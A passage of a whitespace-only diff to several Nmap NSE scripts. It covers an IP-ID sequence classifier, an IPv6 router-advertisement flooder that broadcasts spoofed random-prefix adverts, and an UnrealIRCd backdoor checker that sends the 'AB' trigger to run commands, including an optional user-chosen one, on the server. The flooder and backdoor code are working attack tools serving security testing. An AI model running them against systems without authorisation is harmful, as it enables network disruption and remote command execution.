return fail(("Failed to retreive scan report for resource: %s"):format(resource))
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, parseScanReport(response))
|
||||
return stdnse.format_output(true, parseScanReport(response))
|
||||
end
|
||||
|
||||
@@ -43,17 +43,17 @@ local ipidseqport
|
||||
--- Pcap check function
|
||||
-- @return Destination and source IP addresses and TCP ports
|
||||
local check = function(layer3)
|
||||
local ip = packet.Packet:new(layer3, layer3:len())
|
||||
return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
|
||||
local ip = packet.Packet:new(layer3, layer3:len())
|
||||
return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
|
||||
end
|
||||
|
||||
--- Updates a TCP Packet object
|
||||
-- @param tcp The TCP object
|
||||
local updatepkt = function(tcp)
|
||||
tcp:tcp_set_sport(math.random(0x401, 0xffff))
|
||||
tcp:tcp_set_seq(math.random(1, 0x7fffffff))
|
||||
tcp:tcp_count_checksum(tcp.ip_len)
|
||||
tcp:ip_count_checksum()
|
||||
tcp:tcp_set_sport(math.random(0x401, 0xffff))
|
||||
tcp:tcp_set_seq(math.random(1, 0x7fffffff))
|
||||
tcp:tcp_count_checksum(tcp.ip_len)
|
||||
tcp:ip_count_checksum()
|
||||
end
|
||||
|
||||
--- Create a TCP Packet object
|
||||
@@ -61,192 +61,192 @@ end
|
||||
-- @param port Port number
|
||||
-- @return TCP Packet object
|
||||
local genericpkt = function(host, port)
|
||||
local pkt = bin.pack("H",
|
||||
"4500 002c 55d1 0000 8006 0000 0000 0000" ..
|
||||
"0000 0000 0000 0000 0000 0000 0000 0000" ..
|
||||
"6002 0c00 0000 0000 0204 05b4"
|
||||
)
|
||||
local pkt = bin.pack("H",
|
||||
"4500 002c 55d1 0000 8006 0000 0000 0000" ..
|
||||
"0000 0000 0000 0000 0000 0000 0000 0000" ..
|
||||
"6002 0c00 0000 0000 0204 05b4"
|
||||
)
|
||||
|
||||
local tcp = packet.Packet:new(pkt, pkt:len())
|
||||
local tcp = packet.Packet:new(pkt, pkt:len())
|
||||
|
||||
tcp:ip_set_bin_src(host.bin_ip_src)
|
||||
tcp:ip_set_bin_dst(host.bin_ip)
|
||||
tcp:tcp_set_dport(port)
|
||||
tcp:ip_set_bin_src(host.bin_ip_src)
|
||||
tcp:ip_set_bin_dst(host.bin_ip)
|
||||
tcp:tcp_set_dport(port)
|
||||
|
||||
updatepkt(tcp)
|
||||
updatepkt(tcp)
|
||||
|
||||
return tcp
|
||||
return tcp
|
||||
end
|
||||
|
||||
--- Classifies a series of IP ID numbers like get_ipid_sequence() in osscan2.cc
|
||||
-- @param ipids Table of IP IDs
|
||||
local ipidseqclass = function(ipids)
|
||||
local diffs = {}
|
||||
local allzeros = true
|
||||
local allsame = true
|
||||
local mul256 = true
|
||||
local inc = true
|
||||
local diffs = {}
|
||||
local allzeros = true
|
||||
local allsame = true
|
||||
local mul256 = true
|
||||
local inc = true
|
||||
|
||||
if #ipids < 2 then
|
||||
return "Unknown"
|
||||
end
|
||||
if #ipids < 2 then
|
||||
return "Unknown"
|
||||
end
|
||||
|
||||
local i = 2
|
||||
local i = 2
|
||||
|
||||
while i <= #ipids do
|
||||
if ipids[i-1] ~= 0 or ipids[i] ~= 0 then
|
||||
allzeros = false
|
||||
end
|
||||
while i <= #ipids do
|
||||
if ipids[i-1] ~= 0 or ipids[i] ~= 0 then
|
||||
allzeros = false
|
||||
end
|
||||
|
||||
if ipids[i-1] <= ipids[i] then
|
||||
diffs[i-1] = ipids[i] - ipids[i-1]
|
||||
else
|
||||
diffs[i-1] = ipids[i] - ipids[i-1] + 65536
|
||||
end
|
||||
if ipids[i-1] <= ipids[i] then
|
||||
diffs[i-1] = ipids[i] - ipids[i-1]
|
||||
else
|
||||
diffs[i-1] = ipids[i] - ipids[i-1] + 65536
|
||||
end
|
||||
|
||||
if #ipids > 2 and diffs[i-1] > 20000 then
|
||||
return "Randomized"
|
||||
end
|
||||
if #ipids > 2 and diffs[i-1] > 20000 then
|
||||
return "Randomized"
|
||||
end
|
||||
|
||||
i = i + 1
|
||||
end
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
if allzeros then
|
||||
return "All zeros"
|
||||
end
|
||||
if allzeros then
|
||||
return "All zeros"
|
||||
end
|
||||
|
||||
i = 1
|
||||
i = 1
|
||||
|
||||
while i <= #diffs do
|
||||
if diffs[i] ~= 0 then
|
||||
allsame = false
|
||||
end
|
||||
while i <= #diffs do
|
||||
if diffs[i] ~= 0 then
|
||||
allsame = false
|
||||
end
|
||||
|
||||
if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or
|
||||
((diffs[i] % 256) == 0 and diffs[i] > 25600)) then
|
||||
return "Random Positive Increments"
|
||||
end
|
||||
if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or
|
||||
((diffs[i] % 256) == 0 and diffs[i] > 25600)) then
|
||||
return "Random Positive Increments"
|
||||
end
|
||||
|
||||
if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then
|
||||
mul256 = false
|
||||
end
|
||||
if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then
|
||||
mul256 = false
|
||||
end
|
||||
|
||||
if diffs[i] >= 10 then
|
||||
inc = false
|
||||
end
|
||||
if diffs[i] >= 10 then
|
||||
inc = false
|
||||
end
|
||||
|
||||
i = i + 1
|
||||
end
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
if allsame then
|
||||
return "Constant"
|
||||
end
|
||||
if allsame then
|
||||
return "Constant"
|
||||
end
|
||||
|
||||
if mul256 then
|
||||
return "Broken incremental!"
|
||||
end
|
||||
if mul256 then
|
||||
return "Broken incremental!"
|
||||
end
|
||||
|
||||
if inc then
|
||||
return "Incremental!"
|
||||
end
|
||||
if inc then
|
||||
return "Incremental!"
|
||||
end
|
||||
|
||||
return "Unknown"
|
||||
return "Unknown"
|
||||
end
|
||||
|
||||
--- Determines what port to probe
|
||||
-- @param host Host object
|
||||
local getport = function(host)
|
||||
for _, k in ipairs({"ipidseq.probeport", "probeport"}) do
|
||||
if nmap.registry.args[k] then
|
||||
return tonumber(nmap.registry.args[k])
|
||||
end
|
||||
end
|
||||
for _, k in ipairs({"ipidseq.probeport", "probeport"}) do
|
||||
if nmap.registry.args[k] then
|
||||
return tonumber(nmap.registry.args[k])
|
||||
end
|
||||
end
|
||||
|
||||
--local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" }
|
||||
local states = { "open", "closed" }
|
||||
local port = nil
|
||||
--local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" }
|
||||
local states = { "open", "closed" }
|
||||
local port = nil
|
||||
|
||||
for _, s in ipairs(states) do
|
||||
port = nmap.get_ports(host, nil, "tcp", s)
|
||||
if port then
|
||||
break
|
||||
end
|
||||
end
|
||||
for _, s in ipairs(states) do
|
||||
port = nmap.get_ports(host, nil, "tcp", s)
|
||||
if port then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if not port then
|
||||
return nil
|
||||
end
|
||||
if not port then
|
||||
return nil
|
||||
end
|
||||
|
||||
return port.number
|
||||
return port.number
|
||||
end
|
||||
|
||||
hostrule = function(host)
|
||||
if not nmap.is_privileged() then
|
||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||
if not nmap.registry[SCRIPT_NAME].rootfail then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
end
|
||||
nmap.registry[SCRIPT_NAME].rootfail = true
|
||||
return nil
|
||||
end
|
||||
if not nmap.is_privileged() then
|
||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||
if not nmap.registry[SCRIPT_NAME].rootfail then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
end
|
||||
nmap.registry[SCRIPT_NAME].rootfail = true
|
||||
return nil
|
||||
end
|
||||
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if not host.interface then
|
||||
return false
|
||||
end
|
||||
ipidseqport = getport(host)
|
||||
return (ipidseqport ~= nil)
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if not host.interface then
|
||||
return false
|
||||
end
|
||||
ipidseqport = getport(host)
|
||||
return (ipidseqport ~= nil)
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
local i = 1
|
||||
local ipids = {}
|
||||
local sock = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
local saddr = packet.toip(host.bin_ip_src)
|
||||
local daddr = packet.toip(host.bin_ip)
|
||||
local try = nmap.new_try()
|
||||
local i = 1
|
||||
local ipids = {}
|
||||
local sock = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
local saddr = packet.toip(host.bin_ip_src)
|
||||
local daddr = packet.toip(host.bin_ip)
|
||||
local try = nmap.new_try()
|
||||
|
||||
try(sock:ip_open())
|
||||
try(sock:ip_open())
|
||||
|
||||
try = nmap.new_try(function() sock:ip_close() end)
|
||||
try = nmap.new_try(function() sock:ip_close() end)
|
||||
|
||||
pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport)
|
||||
pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport)
|
||||
|
||||
pcap:set_timeout(host.times.timeout * 1000)
|
||||
pcap:set_timeout(host.times.timeout * 1000)
|
||||
|
||||
local tcp = genericpkt(host, ipidseqport)
|
||||
local tcp = genericpkt(host, ipidseqport)
|
||||
|
||||
while i <= NUMPROBES do
|
||||
try(sock:ip_send(tcp.buf, host))
|
||||
while i <= NUMPROBES do
|
||||
try(sock:ip_send(tcp.buf, host))
|
||||
|
||||
local status, len, _, layer3 = pcap:pcap_receive()
|
||||
local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
|
||||
while status and test ~= check(layer3) do
|
||||
status, len, _, layer3 = pcap:pcap_receive()
|
||||
end
|
||||
local status, len, _, layer3 = pcap:pcap_receive()
|
||||
local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
|
||||
while status and test ~= check(layer3) do
|
||||
status, len, _, layer3 = pcap:pcap_receive()
|
||||
end
|
||||
|
||||
if status then
|
||||
table.insert(ipids, packet.u16(layer3, 4))
|
||||
end
|
||||
if status then
|
||||
table.insert(ipids, packet.u16(layer3, 4))
|
||||
end
|
||||
|
||||
updatepkt(tcp)
|
||||
updatepkt(tcp)
|
||||
|
||||
i = i + 1
|
||||
end
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
pcap:close()
|
||||
sock:ip_close()
|
||||
pcap:close()
|
||||
sock:ip_close()
|
||||
|
||||
local output = ipidseqclass(ipids)
|
||||
local output = ipidseqclass(ipids)
|
||||
|
||||
if nmap.debugging() > 0 then
|
||||
output = output .. " [used port " .. ipidseqport .. "]"
|
||||
end
|
||||
if nmap.debugging() > 0 then
|
||||
output = output .. " [used port " .. ipidseqport .. "]"
|
||||
end
|
||||
|
||||
return output
|
||||
return output
|
||||
end
|
||||
|
||||
|
||||
@@ -43,50 +43,50 @@ try = nmap.new_try()
|
||||
math.randomseed(os.time())
|
||||
|
||||
prerule = function()
|
||||
if nmap.address_family() ~= "inet6" then
|
||||
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if nmap.address_family() ~= "inet6" then
|
||||
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
|
||||
stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
|
||||
stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
return true
|
||||
end
|
||||
|
||||
local function get_interface()
|
||||
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
|
||||
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
|
||||
|
||||
local if_table = nmap.get_interface_info(arg_interface)
|
||||
local if_table = nmap.get_interface_info(arg_interface)
|
||||
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
return if_table.device
|
||||
else
|
||||
stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
|
||||
end
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
return if_table.device
|
||||
else
|
||||
stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
|
||||
end
|
||||
end
|
||||
|
||||
--- Generates random MAC address
|
||||
-- @return mac string containing random MAC address
|
||||
local function random_mac()
|
||||
|
||||
local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
|
||||
return mac
|
||||
local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
|
||||
return mac
|
||||
end
|
||||
|
||||
--- Generates random IPv6 prefix
|
||||
-- @return prefix string containing random IPv6 /64 prefix
|
||||
local function get_random_prefix()
|
||||
local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
|
||||
local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
|
||||
|
||||
return prefix
|
||||
return prefix
|
||||
end
|
||||
|
||||
--- Build an ICMPv6 payload of Router Advertisement.
|
||||
@@ -99,94 +99,94 @@ end
|
||||
-- @return icmpv6_payload string representing ICMPv6 RA payload
|
||||
|
||||
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
|
||||
local ra_msg = string.char(0x0, --cur hop limit
|
||||
0x08, --flags
|
||||
0x00,0x00, --router lifetime
|
||||
0x00,0x00,0x00,0x00, --reachable time
|
||||
0x00,0x00,0x00,0x00) --retrans timer
|
||||
local ra_msg = string.char(0x0, --cur hop limit
|
||||
0x08, --flags
|
||||
0x00,0x00, --router lifetime
|
||||
0x00,0x00,0x00,0x00, --reachable time
|
||||
0x00,0x00,0x00,0x00) --retrans timer
|
||||
|
||||
local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
|
||||
packet.numtostr32(mtu) -- MTU
|
||||
local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
|
||||
packet.numtostr32(mtu) -- MTU
|
||||
|
||||
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
|
||||
packet.set_u32("....", 0, valid_time) .. -- valid lifetime
|
||||
packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
|
||||
string.char(0,0,0,0) .. --unknown
|
||||
prefix
|
||||
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
|
||||
packet.set_u32("....", 0, valid_time) .. -- valid lifetime
|
||||
packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
|
||||
string.char(0,0,0,0) .. --unknown
|
||||
prefix
|
||||
|
||||
local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
|
||||
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
|
||||
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
|
||||
local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
|
||||
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
|
||||
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
|
||||
|
||||
local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
|
||||
local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
|
||||
|
||||
return icmpv6_payload
|
||||
return icmpv6_payload
|
||||
end
|
||||
|
||||
--- Broadcasting on the selected interface
|
||||
-- @param iface table containing interface information
|
||||
local function broadcast_on_interface(iface)
|
||||
stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
|
||||
stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
|
||||
|
||||
-- packet counter
|
||||
local counter = 0
|
||||
-- packet counter
|
||||
local counter = 0
|
||||
|
||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||
arg_timeout = arg_timeout or 30
|
||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||
arg_timeout = arg_timeout or 30
|
||||
|
||||
local dnet = nmap.new_dnet()
|
||||
local dnet = nmap.new_dnet()
|
||||
|
||||
try(dnet:ethernet_open(iface))
|
||||
try(dnet:ethernet_open(iface))
|
||||
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6_addr = packet.ip6tobin("ff02::1")
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6_addr = packet.ip6tobin("ff02::1")
|
||||
|
||||
local prefix_len = 64
|
||||
local prefix_len = 64
|
||||
|
||||
--- maximum possible value of 4-byte integer
|
||||
local valid_time = tonumber(0xffffffff)
|
||||
local preffered_time = tonumber(0xffffffff)
|
||||
--- maximum possible value of 4-byte integer
|
||||
local valid_time = tonumber(0xffffffff)
|
||||
local preffered_time = tonumber(0xffffffff)
|
||||
|
||||
local mtu = 1500
|
||||
local mtu = 1500
|
||||
|
||||
local start, stop = os.time()
|
||||
local start, stop = os.time()
|
||||
|
||||
while true do
|
||||
while true do
|
||||
|
||||
local src_mac = packet.mactobin(random_mac())
|
||||
local src_ip6_addr = packet.mac_to_lladdr(src_mac)
|
||||
local src_mac = packet.mactobin(random_mac())
|
||||
local src_ip6_addr = packet.mac_to_lladdr(src_mac)
|
||||
|
||||
local prefix = packet.ip6tobin(get_random_prefix())
|
||||
local prefix = packet.ip6tobin(get_random_prefix())
|
||||
|
||||
local packet = packet.Frame:new()
|
||||
local packet = packet.Frame:new()
|
||||
|
||||
packet.mac_src = src_mac
|
||||
packet.mac_dst = dst_mac
|
||||
packet.ip_bin_src = src_ip6_addr
|
||||
packet.ip_bin_dst = dst_ip6_addr
|
||||
packet.mac_src = src_mac
|
||||
packet.mac_dst = dst_mac
|
||||
packet.ip_bin_src = src_ip6_addr
|
||||
packet.ip_bin_dst = dst_ip6_addr
|
||||
|
||||
local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
|
||||
packet:build_icmpv6_header(134, 0, icmpv6_payload)
|
||||
packet:build_ipv6_packet()
|
||||
packet:build_ether_frame()
|
||||
local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
|
||||
packet:build_icmpv6_header(134, 0, icmpv6_payload)
|
||||
packet:build_ipv6_packet()
|
||||
packet:build_ether_frame()
|
||||
|
||||
try(dnet:ethernet_send(packet.frame_buf))
|
||||
try(dnet:ethernet_send(packet.frame_buf))
|
||||
|
||||
counter = counter + 1
|
||||
counter = counter + 1
|
||||
|
||||
if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
|
||||
stop = os.time()
|
||||
break
|
||||
end
|
||||
end
|
||||
if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
|
||||
stop = os.time()
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if counter > 0 then
|
||||
stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
|
||||
end
|
||||
if counter > 0 then
|
||||
stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
|
||||
end
|
||||
end
|
||||
|
||||
function action()
|
||||
local interface = get_interface()
|
||||
local interface = get_interface()
|
||||
|
||||
broadcast_on_interface(interface)
|
||||
broadcast_on_interface(interface)
|
||||
end
|
||||
|
||||
@@ -58,159 +58,159 @@ portrule = shortport.port_or_service({6666,6667,6697,6679,8067},{"irc","ircs"})
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local code, message
|
||||
local status, err
|
||||
local data
|
||||
-- Wait up to this long for the server to send its startup messages and
|
||||
-- a response to our noop_command. After this, send the full_command.
|
||||
-- Usually we don't have to wait the full time because we can detect
|
||||
-- the response to noop_command.
|
||||
local banner_timeout = 60
|
||||
-- Send a command to sleep this long. This just has to be long enough
|
||||
-- to remove confusion from network delay.
|
||||
local delay = 8
|
||||
local socket = nmap.new_socket()
|
||||
local code, message
|
||||
local status, err
|
||||
local data
|
||||
-- Wait up to this long for the server to send its startup messages and
|
||||
-- a response to our noop_command. After this, send the full_command.
|
||||
-- Usually we don't have to wait the full time because we can detect
|
||||
-- the response to noop_command.
|
||||
local banner_timeout = 60
|
||||
-- Send a command to sleep this long. This just has to be long enough
|
||||
-- to remove confusion from network delay.
|
||||
local delay = 8
|
||||
|
||||
-- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
|
||||
-- I defined the furdge as 1 second, for now, just because of rounding issues. In practice,
|
||||
-- the actual delay should never be shorter than the given delay, only longer.
|
||||
local delay_fudge = 1
|
||||
-- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
|
||||
-- I defined the furdge as 1 second, for now, just because of rounding issues. In practice,
|
||||
-- the actual delay should never be shorter than the given delay, only longer.
|
||||
local delay_fudge = 1
|
||||
|
||||
-- We send this command on connection because comm.tryssl needs to send
|
||||
-- something; it also allows us to detect the end of server
|
||||
-- initialization.
|
||||
local noop_command = "TIME"
|
||||
-- We send this command on connection because comm.tryssl needs to send
|
||||
-- something; it also allows us to detect the end of server
|
||||
-- initialization.
|
||||
local noop_command = "TIME"
|
||||
|
||||
-- The 'AB' sequence triggers the backdoor to run a command.
|
||||
local trigger = "AB"
|
||||
-- The 'AB' sequence triggers the backdoor to run a command.
|
||||
local trigger = "AB"
|
||||
|
||||
-- We define a highly unique variable as a type of 'ping' -- it lets us see when our
|
||||
-- command returns. Typically, asynchronous data will be received after the initial
|
||||
-- connection -- this lets us ignore that extra data.
|
||||
local unique = "SOMETHINGUNIQUE"
|
||||
-- We define a highly unique variable as a type of 'ping' -- it lets us see when our
|
||||
-- command returns. Typically, asynchronous data will be received after the initial
|
||||
-- connection -- this lets us ignore that extra data.
|
||||
local unique = "SOMETHINGUNIQUE"
|
||||
|
||||
-- On Linux, do a simple sleep command.
|
||||
local command_linux = "sleep " .. delay
|
||||
-- On Linux, do a simple sleep command.
|
||||
local command_linux = "sleep " .. delay
|
||||
|
||||
-- Set up an extra command, if the user requested one
|
||||
local command_extra = ""
|
||||
if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
|
||||
command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
|
||||
-- Replace "%IP%" with the ip address
|
||||
command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
|
||||
end
|
||||
-- Set up an extra command, if the user requested one
|
||||
local command_extra = ""
|
||||
if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
|
||||
command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
|
||||
-- Replace "%IP%" with the ip address
|
||||
command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
|
||||
end
|
||||
|
||||
-- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
|
||||
-- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
|
||||
-- to add 1 to the delay because the first ping happens instantly.
|
||||
--
|
||||
-- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
|
||||
-- not vulnerable. However, it's possible that some odd person may have compiled it
|
||||
-- from the vulnerable sourcecode, so we check for it anyways.
|
||||
local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
|
||||
-- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
|
||||
-- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
|
||||
-- to add 1 to the delay because the first ping happens instantly.
|
||||
--
|
||||
-- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
|
||||
-- not vulnerable. However, it's possible that some odd person may have compiled it
|
||||
-- from the vulnerable sourcecode, so we check for it anyways.
|
||||
local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
|
||||
|
||||
-- Put together the full command
|
||||
local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
|
||||
-- Put together the full command
|
||||
local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
|
||||
|
||||
-- wait time: get rid of fast reconnecting annoyance
|
||||
if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
|
||||
local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime)
|
||||
stdnse.sleep(waittime)
|
||||
end
|
||||
-- wait time: get rid of fast reconnecting annoyance
|
||||
if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
|
||||
local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime)
|
||||
stdnse.sleep(waittime)
|
||||
end
|
||||
|
||||
-- Send an innocuous command as fodder for tryssl.
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command);
|
||||
local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
|
||||
-- Send an innocuous command as fodder for tryssl.
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command);
|
||||
local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
|
||||
|
||||
-- Make sure the socket worked
|
||||
if(not(socket) or not(response)) then
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host")
|
||||
return nil
|
||||
end
|
||||
-- Make sure the socket worked
|
||||
if(not(socket) or not(response)) then
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host")
|
||||
return nil
|
||||
end
|
||||
|
||||
socket:set_timeout(banner_timeout * 1000)
|
||||
socket:set_timeout(banner_timeout * 1000)
|
||||
|
||||
-- Look for the end of initial server messages. This allows reverse DNS
|
||||
-- resolution and ident lookups to time out and not interfere with our
|
||||
-- timing measurement.
|
||||
status = true
|
||||
data = response
|
||||
while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
|
||||
status, response = socket:receive_bytes(0)
|
||||
if status then
|
||||
data = data .. response
|
||||
end
|
||||
end
|
||||
-- Look for the end of initial server messages. This allows reverse DNS
|
||||
-- resolution and ident lookups to time out and not interfere with our
|
||||
-- timing measurement.
|
||||
status = true
|
||||
data = response
|
||||
while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
|
||||
status, response = socket:receive_bytes(0)
|
||||
if status then
|
||||
data = data .. response
|
||||
end
|
||||
end
|
||||
|
||||
if not status then
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response)
|
||||
return nil
|
||||
end
|
||||
if not status then
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response)
|
||||
return nil
|
||||
end
|
||||
|
||||
-- Send the backdoor command.
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command);
|
||||
status, err = socket:send(full_command .. "\n")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err)
|
||||
return nil
|
||||
end
|
||||
-- Send the backdoor command.
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command);
|
||||
status, err = socket:send(full_command .. "\n")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err)
|
||||
return nil
|
||||
end
|
||||
|
||||
-- Get the current time so we can measure the delay
|
||||
local time = os.time(os.date('*t'))
|
||||
socket:set_timeout((delay + 5) * 1000)
|
||||
-- Get the current time so we can measure the delay
|
||||
local time = os.time(os.date('*t'))
|
||||
socket:set_timeout((delay + 5) * 1000)
|
||||
|
||||
-- Accumulate the response in the 'data' string
|
||||
status = true
|
||||
